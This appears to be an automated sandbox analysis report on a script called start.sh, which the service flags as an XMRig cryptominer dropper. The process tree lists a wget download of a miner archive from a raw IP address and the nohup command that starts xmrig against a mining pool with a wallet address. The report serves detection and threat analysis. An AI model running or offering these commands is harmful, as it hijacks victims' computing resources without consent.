Overview

overview

10

Static

static

1

start.sh

ubuntu-18.04-amd64

10

start.sh

debian-9-armhf

10

start.sh

debian-9-mips

start.sh

debian-9-mipsel

Analysis

  • max time kernel
    4s
  • max time network
    4s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/07/2026, 00:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    start.sh
  • Size 769B
  • Sample260722-apkdssbl91
  • SHA256 4d991d1a1f843f44a6590eaae1ccf756d32bdc07bfb8758f63a9c27e26687587
  • MD5 SHA1 SHA512 TLSH
Score
10/10
discoveryxmrig_linuxminer

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • XMRig Miner payload 2 IoCs
    miner
  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/start.sh
    /tmp/start.sh
    1⤵
    • Writes file to tmp directory
    PID:649
    • /usr/bin/wget
      wget -q http://176.124.207.93:9999/xmrig-6.26.0-linux-static-x64.tar.gz
      2⤵
      • Writes file to tmp directory
      PID:654
    • /bin/tar
      tar -xf xmrig-6.26.0-linux-static-x64.tar.gz
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:708
      • /usr/local/sbin/gzip
        gzip -d
        3⤵
          PID:710
        • /usr/local/bin/gzip
          gzip -d
          3⤵
            PID:710
          • /usr/sbin/gzip
            gzip -d
            3⤵
              PID:710
            • /usr/bin/gzip
              gzip -d
              3⤵
                PID:710
              • /sbin/gzip
                gzip -d
                3⤵
                  PID:710
                • /bin/gzip
                  gzip -d
                  3⤵
                    PID:710
              • /usr/bin/nohup
                nohup ./xmrig -o pool.hashvault.pro:443 -u solo:4BBj3gj4oV7iRikNHDgtETDFRm8Z6kG7diVMo8mDz4zcUiXogiF8chHRKK1THWW43zc8XbGYLfU4rbgeyWYaGpWG4ePiGt4 -p --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                1⤵
                • Executes dropped EXE
                PID:724
              • /tmp/xmrig-6.26.0/xmrig
                ./xmrig -o pool.hashvault.pro:443 -u solo:4BBj3gj4oV7iRikNHDgtETDFRm8Z6kG7diVMo8mDz4zcUiXogiF8chHRKK1THWW43zc8XbGYLfU4rbgeyWYaGpWG4ePiGt4 -p --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                1⤵
                  PID:724
                • /bin/sh
                  /bin/sh ./xmrig -o pool.hashvault.pro:443 -u solo:4BBj3gj4oV7iRikNHDgtETDFRm8Z6kG7diVMo8mDz4zcUiXogiF8chHRKK1THWW43zc8XbGYLfU4rbgeyWYaGpWG4ePiGt4 -p --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                  1⤵
                  • Writes file to tmp directory
                  PID:724

                Network

                      MITRE ATT&CK Matrix

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      xmrig-6.26.0-linux-static-x64.tar.gz
                      • Path /tmp/xmrig-6.26.0-linux-static-x64.tar.gz
                      • Size 3.4MB
                      • SHA256 fc6f8ae5f64e4f17481f7e3be29a1c56949f216a998414188003eae1db20c9e5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      SHA256SUMS
                      • Path /tmp/xmrig-6.26.0/SHA256SUMS
                      • Size 150B
                      • SHA256 dfa7c8ebcece392e8ecd4ec56c1e06ff2984068ab81dcada8e65191416be04a9
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      config.json
                      • Path /tmp/xmrig-6.26.0/config.json
                      • Size 2KB
                      • SHA256 a6a710135483296b9a943dc3ed31d6a1396b5cfeb127ab0d7e5c6bf49785130a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      miner.log
                      • Path /tmp/xmrig-6.26.0/miner.log
                      • Size 41B
                      • SHA256 f1bccbaddb63a61cf97dce019bfd342fcaed5314568cc6bf71cc5814e57806a6
                      • MD5 SHA1 SHA512
                      Submit Download

                      miner.log
                      • Path /tmp/xmrig-6.26.0/miner.log
                      • Size 108B
                      • SHA256 0ed719cf861487ee04067118a04489f8ddc7b022ec554863eeea3afe611166ba
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      xmrig
                      • Path /tmp/xmrig-6.26.0/xmrig
                      • Size 8.0MB
                      • SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download